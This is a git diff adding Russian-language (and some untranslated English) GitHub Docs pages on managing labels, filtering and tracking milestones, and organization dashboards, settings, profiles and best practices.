b/translations/ru-RU/content/issues/using-labels-and-milestones-to-track-work/filtering-issues-and-pull-requests-by-milestone.md @@ -0,0 +1,41 @@ +--- +title: Фильтрация проблем и запросов на вытягивание по вехам +intro: 'Проблемы и запросы на вытягивание можно отфильтровать по вехе, с которой они связаны. После того как вы [связали проблему или запрос на вытягивание с вехой](/articles/associating-milestones-with-issues-and-pull-requests), вы можете выполнять поиск элементов по вехам. В рамках вехи можно определить приоритеты проблем и запросов на вытягивание.' +redirect_from: + - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-milestones/filtering-issues-and-pull-requests-by-milestone + - /articles/filtering-issues-and-pull-requests-by-milestone + - /github/managing-your-work-on-github/filtering-issues-and-pull-requests-by-milestone +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +shortTitle: Filter by milestone +ms.openlocfilehash: 6eda4a52df3212b37c3052832291f03aa2285fd5 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145135293' +--- +{% tip %} + +**Советы** + +- Если вы предпочитаете фильтровать проблемы и запросы на вытягивание с помощью панели поиска, можно использовать синтаксис поиска вехи. Для вехи с именем My Milestone синтаксис поиска будет следующим: `milestone:"My Milestone"`. +- Чтобы очистить фильтр, нажмите кнопку **Очистить текущий поисковый запрос, фильтры и сортировки**. +- Вы также можете фильтровать проблемы или запросы на вытягивание, используя {% data variables.product.prodname_cli %}. Дополнительные сведения см. в разделе [`gh issue list`](https://cli.github.com/manual/gh_issue_list) или [`gh pr list`](https://cli.github.com/manual/gh_pr_list)" документации по {% data variables.product.prodname_cli %}. + +{% endtip %} + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issue-pr %} +3. Выберите **Вехи**, чтобы просмотреть список всех доступных вех для репозитория. + ![Кнопка "Вехи"](/assets/images/help/issues/issues_milestone_button.png) +4. Выберите нужную веху из списка. Вы можете просмотреть соответствующие сведения для вехи, включая все проблемы и связанные с ней запросы на вытягивание, на странице вехи. Дополнительные сведения см. в статье об [Сведения о вехах](/articles/about-milestones). + +## Дополнительные материалы + +- [Фильтрация и поиск проблем и запросов на вытягивание](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests) +- [Фильтрация карточек на доске проекта](/articles/filtering-cards-on-a-project-board) diff --git a/translations/ru-RU/content/issues/using-labels-and-milestones-to-track-work/index.md b/translations/ru-RU/content/issues/using-labels-and-milestones-to-track-work/index.md new file mode 100644 index 000000000000..f348f5e0d23a --- /dev/null +++ b/translations/ru-RU/content/issues/using-labels-and-milestones-to-track-work/index.md @@ -0,0 +1,28 @@ +--- +title: Использование меток и вех для отслеживания работы +shortTitle: Labels and milestones +intro: 'Используйте метки и вехи для классификации и отслеживания работы в {% data variables.product.prodname_dotcom %}.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Issues +children: + - /managing-labels + - /about-milestones + - /creating-and-editing-milestones-for-issues-and-pull-requests + - /associating-milestones-with-issues-and-pull-requests + - /filtering-issues-and-pull-requests-by-milestone + - /viewing-your-milestones-progress +redirect_from: + - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-milestones +ms.openlocfilehash: 5da559e68d6ed61d7ec6d9c82039a86ffd47d4f2 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '147878763' +--- + diff --git a/translations/ru-RU/content/issues/using-labels-and-milestones-to-track-work/managing-labels.md b/translations/ru-RU/content/issues/using-labels-and-milestones-to-track-work/managing-labels.md new file mode 100644 index 000000000000..834f6f74c76d --- /dev/null +++ b/translations/ru-RU/content/issues/using-labels-and-milestones-to-track-work/managing-labels.md @@ -0,0 +1,101 @@ +--- +title: Управление метками +intro: 'Вы можете классифицировать {% ifversion fpt or ghec %}проблемы, запросы на вытягивание и обсуждения{% else %}проблемы и запросы на вытягивание{% endif %} путем создания, редактирования, применения и удаления меток.' +permissions: '{% data reusables.enterprise-accounts.emu-permission-repo %}' +redirect_from: + - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/managing-labels + - /articles/managing-Labels + - /articles/labeling-issues-and-pull-requests + - /github/managing-your-work-on-github/labeling-issues-and-pull-requests + - /articles/about-labels + - /github/managing-your-work-on-github/about-labels + - /articles/creating-and-editing-labels-for-issues-and-pull-requests + - /articles/creating-a-label + - /github/managing-your-work-on-github/creating-a-label + - /articles/customizing-issue-labels + - /articles/applying-labels-to-issues-and-pull-requests + - /github/managing-your-work-on-github/applying-labels-to-issues-and-pull-requests + - /articles/editing-a-label + - /github/managing-your-work-on-github/editing-a-label + - /articles/deleting-a-label + - /github/managing-your-work-on-github/deleting-a-label + - /github/managing-your-work-on-github/managing-labels +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests + - Issues + - Project management +type: how_to +ms.openlocfilehash: 42feddd5ebbdee81140d3aab48b81f83a2c6e69f +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145135269' +--- +## Сведения о метках + +Вы можете управлять работой с {% data variables.product.product_name %} путем создания меток, что позволяет категоризировать {% ifversion fpt or ghec %}проблемы, запросы на вытягивание и обсуждения{% else %}проблемы и запросы на вытягивание{% endif %}. Можно применить метки в репозитории, в котором была создана метка. После создания метки ее можно использовать для любой {% ifversion fpt or ghec %}проблемы, запроса на вытягивание или обсуждения{% else %}проблемы или запроса на вытягивание{% endif %} в этом репозитории. + +## Сведения о метках по умолчанию + +{% data variables.product.product_name %} предоставляет метки по умолчанию в каждом новом репозитории. Эти метки по умолчанию можно использовать для создания стандартного рабочего процесса в репозитории. + +Метка | Описание +--- | --- +`bug` | Указывает на непредвиденное или нежелательное поведение{% ifversion fpt or ghes or ghec %} +`documentation` | Указывает на необходимость усовершенствования или дополнения документации{% endif %} +`duplicate` | Указывает на аналогичные {% ifversion fpt or ghec %}проблемы, запросы на вытягивание или обсуждения{% else %}проблемы или запросы на вытягивание{% endif %} +`enhancement` | Указывает на новые запросы функций +`good first issue` | Указывает на серьезную проблему для новых участников +`help wanted` | Указывает, что координатору требуется помощь по проблеме или запросу на вытягивание. +`invalid` | Указывает, что {% ifversion fpt or ghec %}проблема, запрос на вытягивание или обсуждение{% else %}проблема или запрос на вытягивание{% endif %} больше не имеет значения +`question` | Указывает, что требуется дополнительная информация о {% ifversion fpt or ghec %}проблеме, запросе на вытягивание или обсуждении{% else %}проблеме или запросе на вытягивание{% endif %} +`wontfix` | Указывает, что работа с {% ifversion fpt or ghec %}проблемой, запросом на вытягивание или обсуждением{% else %}проблемой или запросом на вытягивание{% endif %} не будет продолжена + +Метки по умолчанию включаются в каждый новый репозиторий при создании репозитория, но позже их можно изменить или удалить. + +Проблемы с меткой `good first issue` используются для заполнения страницы репозитория `contribute`. Пример страницы `contribute` см. здесь: [статье github/docs/contribute](https://github.com/github/docs/contribute). + +{% ifversion fpt or ghes or ghec %} Владельцы организации могут настроить метки по умолчанию для репозиториев в своей организации. Дополнительные сведения см. в разделе [Управление метками по умолчанию для репозиториев в организации](/articles/managing-default-labels-for-repositories-in-your-organization). +{% endif %} + +## Создание метки + +Любой пользователь с доступом на запись в репозиторий может создать метку. + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issue-pr %} {% data reusables.project-management.labels %} +4. Справа от поля поиска нажмите кнопку **Новая метка**. +{% data reusables.project-management.name-label %} {% data reusables.project-management.label-description %} {% data reusables.project-management.label-color-randomizer %} {% data reusables.project-management.create-label %} + +## Применение метки + +Любой пользователь с доступом к репозиторию может применять и закрывать метки. + +1. Перейдите к {% ifversion fpt or ghec %}проблеме, запросу на вытягивании или обсуждению{% else %}проблеме или запросу на вытягивание{% endif %}. +1. На боковой панели справа от раздела "Метки" нажмите {% octicon "gear" aria-label="The gear icon" %}, а затем щелкните метку. + ![Раскрывающееся меню "Метки"](/assets/images/help/issues/labels-drop-down.png) + +## Изменение метки + +Любой пользователь с доступом на запись к репозиторию может редактировать существующие метки. + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issue-pr %} {% data reusables.project-management.labels %} {% data reusables.project-management.edit-label %} {% data reusables.project-management.name-label %} {% data reusables.project-management.label-description %} {% data reusables.project-management.label-color-randomizer %} {% data reusables.project-management.save-label %} + +## Удаление метки + +Любой пользователь с доступом на запись к репозиторию может удалить существующие метки. + +Удаление метки приведет к удалению метки из проблем и запросов на вытягивание. + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issue-pr %} {% data reusables.project-management.labels %} {% data reusables.project-management.delete-label %} + +## Дополнительные материалы +- [Фильтрация и поиск проблем и запросов на вытягивание](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests){% ifversion fpt or ghes or ghec %} +- [Управление метками по умолчанию для репозиториев в организации](/articles/managing-default-labels-for-repositories-in-your-organization){% endif %}{% ifversion fpt or ghec %} +- [Содействие внесению полезных вкладов в разработку проекта с помощью меток](/communities/setting-up-your-project-for-healthy-contributions/encouraging-helpful-contributions-to-your-project-with-labels){% endif %} +- [Базовый синтаксис записи и форматирования](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#using-emoji) diff --git a/translations/ru-RU/content/issues/using-labels-and-milestones-to-track-work/viewing-your-milestones-progress.md b/translations/ru-RU/content/issues/using-labels-and-milestones-to-track-work/viewing-your-milestones-progress.md new file mode 100644 index 000000000000..278db78f6314 --- /dev/null +++ b/translations/ru-RU/content/issues/using-labels-and-milestones-to-track-work/viewing-your-milestones-progress.md @@ -0,0 +1,36 @@ +--- +title: Просмотр хода выполнения для контрольной точки +intro: 'Чтобы отслеживать вехи, необходимо лучше понять, сколько осталось открытых проблем и запросов на вытягивание.' +redirect_from: + - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-milestones/viewing-your-milestones-progress + - /articles/viewing-your-milestone-s-progress + - /articles/viewing-your-milestones-progress + - /github/managing-your-work-on-github/viewing-your-milestones-progress +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +shortTitle: View progress to milestone +ms.openlocfilehash: 46c1b154bb5ae71e0ef4b75a8404f70ef467a867 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '147880793' +--- +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issue-pr %} +3. В левом верхнем углу щелкните **Вехи**. + ![Кнопка «Веха «Проблемы»](/assets/images/help/issues/issues_milestone_button.png) +4. Выберите веху, дополнительные сведения о которой требуется просмотреть + +![Обзор вехи «Проблемы»](/assets/images/help/issues/issues_milestone_overview.png) + +Чтобы обеспечить оптимальное управление проектом, можно определить приоритеты проблем или запросов на вытягивание в рамках вехи. Дополнительные сведения см. в статье об [Сведения о вехах](/articles/about-milestones#prioritizing-issues-and-pull-requests-in-milestones). + +## Дополнительные материалы + +* [Связывание вех с проблемами и запросами на вытягивание](/articles/associating-milestones-with-issues-and-pull-requests) +* [Фильтрация проблем и запросов на вытягивание по вехам](/articles/filtering-issues-and-pull-requests-by-milestone) diff --git a/translations/ru-RU/content/organizations/collaborating-with-groups-in-organizations/about-organizations.md b/translations/ru-RU/content/organizations/collaborating-with-groups-in-organizations/about-organizations.md new file mode 100644 index 000000000000..52fc0b96ca7f --- /dev/null +++ b/translations/ru-RU/content/organizations/collaborating-with-groups-in-organizations/about-organizations.md @@ -0,0 +1,59 @@ +--- +title: About organizations +intro: 'Organizations are shared accounts where businesses and open-source projects can collaborate across many projects at once, with sophisticated security and administrative features.' +redirect_from: + - /articles/about-organizations + - /github/setting-up-and-managing-organizations-and-teams/about-organizations +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +--- + +## About organizations + +{% data reusables.organizations.about-organizations %} For more information about account types, see "[Types of {% data variables.product.prodname_dotcom %} accounts](/get-started/learning-about-github/types-of-github-accounts)." + +You can invite an unlimited number of people to join your organization, then give these organization members a variety of roles that grant different levels of access to the organization and its data. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)." + +In addition to managing access to the organization itself, you can separately manage access to your organization's repositories, project boards, and apps. For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)", "[Project board permissions for an organization](/organizations/managing-access-to-your-organizations-project-boards/project-board-permissions-for-an-organization)", and "[Managing access to your organization's apps](/organizations/managing-access-to-your-organizations-apps)." + +To simplify access management and enhance collaboration, you can create nested teams that reflect your group's structure, with cascading access permissions and mentions. For more information, see "[About teams](/organizations/organizing-members-into-teams/about-teams)." + +You can configure the organization to meet the unique needs of your group by managing settings, such as restricting the types of repositories that members can create. For more information, see "[Managing organization settings](/organizations/managing-organization-settings)." + +To harden your organization's security, you can enforce security requirements and review the organization's audit log. For more information, see "[Keeping your organization secure](/organizations/keeping-your-organization-secure)." + +To learn how to use organizations most effectively, see "[Best practices for organizations](/organizations/collaborating-with-groups-in-organizations/best-practices-for-organizations)." + +{% ifversion fpt or ghec %} +## About feature availability + +{% data reusables.organizations.organization-plans %} +{% endif %} + +## Organizations and enterprise accounts + +{% ifversion fpt %} +Enterprise accounts are a feature of {% data variables.product.prodname_ghe_cloud %} that allow owners to centrally manage policy and billing for multiple organizations. For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/organizations/collaborating-with-groups-in-organizations/about-organizations). +{% else %} +{% ifversion ghec %}For organizations that belong to an enterprise account, billing is managed at the enterprise account level, and billing settings are not available at the organization level.{% endif %} Enterprise owners can set policy for all organizations in the enterprise account or allow organization owners to set the policy at the organization level. Organization owners cannot change settings enforced for your organization at the enterprise account level. If you have questions about a policy or setting for your organization, contact the owner of your enterprise account. + +{% ifversion ghec %} +{% data reusables.enterprise.create-an-enterprise-account %} For more information, see "[Creating an enterprise account](/admin/overview/creating-an-enterprise-account)." + +{% data reusables.enterprise-accounts.invite-organization %} + +{% endif %} +{% endif %} + +{% ifversion fpt or ghec %} +## Terms of service and data protection for organizations + +An entity, such as a company, non-profit, or group, can agree to the Standard Terms of Service or the Corporate Terms of Service for their organization. For more information, see "[Upgrading to the Corporate Terms of Service](/articles/upgrading-to-the-corporate-terms-of-service)." + +{% endif %} diff --git a/translations/ru-RU/content/organizations/collaborating-with-groups-in-organizations/about-your-organization-dashboard.md b/translations/ru-RU/content/organizations/collaborating-with-groups-in-organizations/about-your-organization-dashboard.md new file mode 100644 index 000000000000..f8c2095b9ffb --- /dev/null +++ b/translations/ru-RU/content/organizations/collaborating-with-groups-in-organizations/about-your-organization-dashboard.md @@ -0,0 +1,56 @@ +--- +title: Сведения о панели мониторинга организации +intro: 'Участники организации могут обращаться к панели мониторинга вашей организации в течение дня, чтобы оставаться в курсе последних действий и отслеживать проблемы и запросы на вытягивание, над которыми вы работаете или отслеживаете их в организации.' +redirect_from: + - /articles/about-your-organization-dashboard + - /github/setting-up-and-managing-organizations-and-teams/about-your-organization-dashboard +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Organization dashboard +ms.openlocfilehash: c5f25d589e7b640fa411cd26f004961081c9d8e8 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '147880777' +--- +## Доступ к панели мониторинга организации + +{% data reusables.dashboard.access-org-dashboard %} + +## Поиск последних действий + +В разделе "Последние действия" веб-канала новостей можно быстро находить и отслеживать недавно обновленные проблемы и запросы на вытягивание в вашей организации. + +{% data reusables.dashboard.recent-activity-qualifying-events %} + +## Поиск репозиториев в организации + +Слева на панели мониторинга вы можете получить доступ к лучшим репозиториям в организации, с которыми вы работаете. + +![Список репозиториев, с которыми вы чаще всего работаете в вашей организации](/assets/images/help/dashboard/repositories-from-organization-dashboard.png) + +## Обновление с использованием действий из организации + +В разделе "Все действия" веб-канала новостей можно просматривать обновления от других команд и репозиториев в вашей организации. + +В разделе "Все действия" отображаются все последние действия в организации, включая действия в репозиториях, на которые вы не подписаны, и пользователей, на которых вы не подписаны. Дополнительные сведения см. в статье "[Сведения об уведомлениях](/github/managing-subscriptions-and-notifications-on-github/about-notifications)" и "[Подписка на пользователей](/articles/following-people)". + +Например, в веб-канале новостей организации отображаются обновления, когда кто-то в организации выполняет следующие действия: + - Создает новую ветвь. + - Оставляет комментарий к проблеме или запросу на вытягивание. + - Отправляет комментарий к проверке запроса на вытягивание. + - Создает вилку репозитория. + - Создает вики-страницу. + - Отправляет фиксации. {% ifversion fpt or ghes or ghec %} + - Создает общедоступный репозиторий.{% endif %} + +## Дополнительные сведения + +- [Сведения о личной панели мониторинга](/articles/about-your-personal-dashboard) diff --git a/translations/ru-RU/content/organizations/collaborating-with-groups-in-organizations/about-your-organizations-news-feed.md b/translations/ru-RU/content/organizations/collaborating-with-groups-in-organizations/about-your-organizations-news-feed.md new file mode 100644 index 000000000000..02f702fa563d --- /dev/null +++ b/translations/ru-RU/content/organizations/collaborating-with-groups-in-organizations/about-your-organizations-news-feed.md @@ -0,0 +1,30 @@ +--- +title: About your organization’s news feed +intro: You can use your organization's news feed to keep up with recent activity on repositories owned by that organization. +redirect_from: + - /articles/news-feed + - /articles/about-your-organization-s-news-feed + - /articles/about-your-organizations-news-feed + - /github/setting-up-and-managing-organizations-and-teams/about-your-organizations-news-feed +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Organization news feed +--- + +An organization's news feed shows other people's activity on repositories owned by that organization. You can use your organization's news feed to see when someone opens, closes, or merges an issue or pull request, creates or deletes a branch, creates a tag or release, comments on an issue, pull request, or commit, or pushes new commits to {% data variables.product.product_name %}. + +## Accessing your organization's news feed + +1. {% data variables.product.signin_link %} to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}. +2. Open your {% data reusables.user-settings.personal_dashboard %}. +3. Click the account context switcher in the upper-left corner of the page. + ![Context switcher button in Enterprise](/assets/images/help/organizations/account_context_switcher.png) +4. Select an organization from the drop-down menu.{% ifversion fpt or ghec %} + ![Context switcher menu in dotcom](/assets/images/help/organizations/account-context-switcher-selected-dotcom.png){% else %} + ![Context switcher menu in Enterprise](/assets/images/help/organizations/account_context_switcher.png){% endif %} diff --git a/translations/ru-RU/content/organizations/collaborating-with-groups-in-organizations/accessing-your-organizations-settings.md b/translations/ru-RU/content/organizations/collaborating-with-groups-in-organizations/accessing-your-organizations-settings.md new file mode 100644 index 000000000000..52fb1c60379c --- /dev/null +++ b/translations/ru-RU/content/organizations/collaborating-with-groups-in-organizations/accessing-your-organizations-settings.md @@ -0,0 +1,39 @@ +--- +title: Доступ к параметрам организации +redirect_from: + - /articles/who-can-access-organization-billing-information-and-account-settings + - /articles/managing-the-organization-s-settings + - /articles/who-can-see-billing-information-account-settings + - /articles/who-can-see-billing-information-and-access-account-settings + - /articles/managing-an-organization-s-settings + - /articles/accessing-your-organization-s-settings + - /articles/accessing-your-organizations-settings + - /github/setting-up-and-managing-organizations-and-teams/accessing-your-organizations-settings +intro: 'Страница параметров учетной записи организации предоставляет несколько способов управления учетной записью, например выставление счетов, членство в группах и параметры репозитория.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Access organization settings +ms.openlocfilehash: 952b4c7d911c131fa7913b9f8ce9f6da67e34cd5 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145135245' +--- +{% ifversion fpt or ghec %} + +{% tip %} + +**Совет.** Просматривать и изменять сведения о выставлении счетов и полном наборе параметров учетной записи для организации могут только владельцы организации и менеджеры по выставлению счетов. Модераторы организации видят только параметры модерации. {% data reusables.organizations.new-org-permissions-more-info %} + +{% endtip %} + +{% endif %} + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} diff --git a/translations/ru-RU/content/organizations/collaborating-with-groups-in-organizations/best-practices-for-organizations.md b/translations/ru-RU/content/organizations/collaborating-with-groups-in-organizations/best-practices-for-organizations.md new file mode 100644 index 000000000000..0c6053a4ab89 --- /dev/null +++ b/translations/ru-RU/content/organizations/collaborating-with-groups-in-organizations/best-practices-for-organizations.md @@ -0,0 +1,38 @@ +--- +title: Рекомендации для организаций +shortTitle: Best practices +intro: 'Ознакомьтесь с рекомендациями по использованию {% data variables.product.prodname_dotcom %}для вашей организации.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +ms.openlocfilehash: 015c74d7a69a1feb5c8ff9467a4219753f2cb5eb +ms.sourcegitcommit: c2aa10a61db44ee111c09565b6114dd5c97b6e2e +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/14/2022 +ms.locfileid: '148163461' +--- +## Назначение нескольких владельцев + +{% data reusables.organizations.org-ownership-recommendation %} Дополительные сведения см. в разделе [Обеспечение непрерывности владения для организации](/organizations/managing-peoples-access-to-your-organization-with-roles/maintaining-ownership-continuity-for-your-organization). + +## Использование команд + +Мы рекомендуем использовать команды для упрощения совместной работы в организации. Дополнительные сведения см. в статье "[Сведения о командах](/organizations/organizing-members-into-teams/about-teams)". + +{% ifversion ghec %} Мы настоятельно рекомендуем управлять членством в команде с помощью поставщика удостоверений (IdP). Дополнительные сведения см. в разделе [Управление синхронизацией команд в организации](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization). + +{% data reusables.enterprise-accounts.emu-scim-note %} {% endif %} + +Мы рекомендуем держать команды видимыми, когда это возможно, и резервировать секретные команды для деликатных ситуаций. Дополнительные сведения см. в разделе [Изменение видимости команды](/organizations/organizing-members-into-teams/changing-team-visibility). + +{% ifversion ghec or ghes or ghae %} +## Используйте обзор безопасности + +{% data reusables.security-overview.about-the-security-overview %} Дополнительные сведения см. в разделе [Общие сведения о безопасности](/code-security/security-overview/about-the-security-overview). +{% endif %} diff --git a/translations/ru-RU/content/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch.md b/translations/ru-RU/content/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch.md new file mode 100644 index 000000000000..f25cae78a367 --- /dev/null +++ b/translations/ru-RU/content/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch.md @@ -0,0 +1,30 @@ +--- +title: Creating a new organization from scratch +intro: Create an organization to apply fine-grained access permissions to repositories. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +redirect_from: + - /articles/creating-a-new-organization-from-scratch + - /admin/user-management/creating-organizations + - /github/setting-up-and-managing-organizations-and-teams/creating-a-new-organization-from-scratch +topics: + - Organizations + - Teams +shortTitle: Create new organization +--- + +When you create a new organization from scratch, it doesn't have any repositories associated with it. For more information on adding repositories to your organization, see "[Creating a new repository](/articles/creating-a-new-repository)" and "[Transferring a repository](/articles/transferring-a-repository)." + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.organizations %} +{% data reusables.organizations.new-organization %} +4. Follow the prompts to create your organization. {% ifversion fpt or ghec %}For more information about the plans available for your team, see "[{% data variables.product.prodname_dotcom %}'s products](/articles/githubs-products)."{% endif %} + +## Further reading + +{% ifversion fpt or ghec %} +- "[Setting your billing email](/articles/setting-your-billing-email)"{% endif %} +- "[About organizations](/articles/about-organizations)" diff --git a/translations/ru-RU/content/organizations/collaborating-with-groups-in-organizations/customizing-your-organizations-profile.md b/translations/ru-RU/content/organizations/collaborating-with-groups-in-organizations/customizing-your-organizations-profile.md new file mode 100644 index 000000000000..aede8bd1caf4 --- /dev/null +++ b/translations/ru-RU/content/organizations/collaborating-with-groups-in-organizations/customizing-your-organizations-profile.md @@ -0,0 +1,90 @@ +--- +title: Customizing your organization's profile +intro: You can share information about your organization by customizing your organization's profile. +versions: + fpt: '*' + ghec: '*' + ghes: '>3.3' +topics: + - Organizations +shortTitle: Customize organization profile +--- + + +## About your organization's profile page + +{% ifversion org-profile-pin-private %} +You can customize your organization's Overview page to show a README and pinned repositories dedicated to public users or members of the organization. + +![Image of a public organization profile page](/assets/images/help/organizations/public_profile.png) + +Members of your organization who are signed into {% data variables.product.prodname_dotcom %}, can select a `member` or `public` view of the README and pinned repositories when they visit your organization's profile page. + +![Image of a public organization profile page view context switcher](/assets/images/help/organizations/profile_view_switcher_public.png) + +The view defaults to `member` if either a members-only README or members-only pinned repositories are present, and `public` otherwise. + +![Image of a members only organization profile page](/assets/images/help/organizations/member_only_profile.png) + +Users who are not members of your organization will be shown a `public` view. + +### Pinned repositories + +You can give users easy access to important or frequently used repositories, by choosing up to six repositories for public users and six repositories for members of the organization. Once you pin repositories to your organization profile, the "Pinned" section is shown above the "Repositories" section of the profile page. + +Only organization owners can pin repositories. For more information, see "[Pinning repositories to your organization's profile](#pinning-repositories-to-your-organizations-profile)." + +### Organization profile READMEs + +{% endif %} + +You can share information about how to engage with your organization by creating an organization profile README for both public users and members of the organization. {% data variables.product.prodname_dotcom %} shows your organization profile README in the "Overview" tab of your organization. + +You can choose what information to include in your organization profile README. Here are some examples of information that may be helpful. + +- An "About" section that describes your organization +- Guidance for getting help in the organization + +You can format text and include emoji, images, and GIFs in your organization profile README by using {% data variables.product.company_short %} Flavored Markdown. For more information, see "[Getting started with writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/getting-started-with-writing-and-formatting-on-github)." + +## Adding a public organization profile README + +1. If your organization does not already have a public `.github` repository, create a public `.github` repository. +2. In your organization's `.github` repository, create a `README.md` file in the `profile` folder. +3. Commit the changes to the `README.md` file. The content of the `README.md` will appear on your organization's public profile. + + ![Image of an organization's public README](/assets/images/help/organizations/org_public_readme.png) + +{% ifversion org-profile-pin-private %} + +## Adding a member-only organization profile README + +1. If your organization does not already have a `.github-private` repository, create a private repository called `.github-private`. +2. In your organization's `.github-private` repository, create a `README.md` file in the `profile` folder. +3. Commit the changes to the `README.md` file. The content of the `README.md` will be displayed in the member view of your organization's profile. + + ![Image of an organization's member-only README](/assets/images/help/organizations/org_member_readme.png) + +## Pinning repositories to your organization's profile + +You can pin repositories that you want to feature, such as those that are frequently used, to your organization's profile page. To choose which repositories to pin to your organization's profile, you must be an organization owner. + +1. Navigate to your organization's profile page. +2. In the right sidebar of the page in the {% octicon "eye" aria-label="The eye octicon" %} "View as" link, choose the **Public** or **Member** profile view from the dropdown menu. + + ![Image of the organization profile view dropdown](/assets/images/help/organizations/org_profile_view.png) + +3. In the pinned repositories section, select **Customize pins**. + + ![Image of the customize pins link](/assets/images/help/organizations/customize_pins_link.png) + + - If you haven't yet pinned any repositories to your organization's profile, you'll need to instead click **pin repositories** in the right sidebar of the profile page. + ![Image of pin repositories link in right sidebar](/assets/images/help/organizations/pin_repositories_link.png) + +4. In the "Edit pinned repositories" dialog box, select a combination of up to six public, {% ifversion not fpt %}private, or internal{% else %}or private{% endif %} repositories to display. + + ![Image of pinned repo dialog](/assets/images/help/organizations/pinned_repo_dialog.png) + +5. Click **Save pins**. + +{% endif %} diff --git a/translations/ru-RU/content/organizations/collaborating-with-groups-in-organizations/index.md b/translations/ru-RU/content/organizations/collaborating-with-groups-in-organizations/index.md new file mode 100644 index 000000000000..b5ea4dac67ee --- /dev/null +++ b/translations/ru-RU/content/organizations/collaborating-with-groups-in-organizations/index.md @@ -0,0 +1,33 @@ +--- +title: Совместная работа с группами в организациях +intro: Группы пользователей могут совместно работать одновременно в нескольких проектах в учетных записях организации. +redirect_from: + - /articles/creating-a-new-organization-account + - /articles/collaborating-with-groups-in-organizations + - /github/setting-up-and-managing-organizations-and-teams/collaborating-with-groups-in-organizations +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +children: + - /about-organizations + - /about-your-organization-dashboard + - /best-practices-for-organizations + - /creating-a-new-organization-from-scratch + - /accessing-your-organizations-settings + - /customizing-your-organizations-profile + - /about-your-organizations-news-feed + - /viewing-insights-for-your-organization +shortTitle: Collaborate with groups +ms.openlocfilehash: dd6c9950c29328c2170f58045f3a0dfeafe03637 +ms.sourcegitcommit: c2aa10a61db44ee111c09565b6114dd5c97b6e2e +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/14/2022 +ms.locfileid: '148163469' +--- + diff --git a/translations/ru-RU/content/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-your-organization.md b/translations/ru-RU/content/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-your-organization.md new file mode 100644 index 000000000000..88b7a230a481 --- /dev/null +++ b/translations/ru-RU/content/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-your-organization.md @@ -0,0 +1,75 @@ +--- +title: Просмотр аналитических сведений для организации +intro: 'Аналитика организации предоставляет данные о действиях, вкладах и зависимостях вашей организации.' +redirect_from: + - /articles/viewing-insights-for-your-organization + - /github/setting-up-and-managing-organizations-and-teams/viewing-insights-for-your-organization +versions: + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: View organization insights +permissions: Organization members can view organization insights. +ms.openlocfilehash: 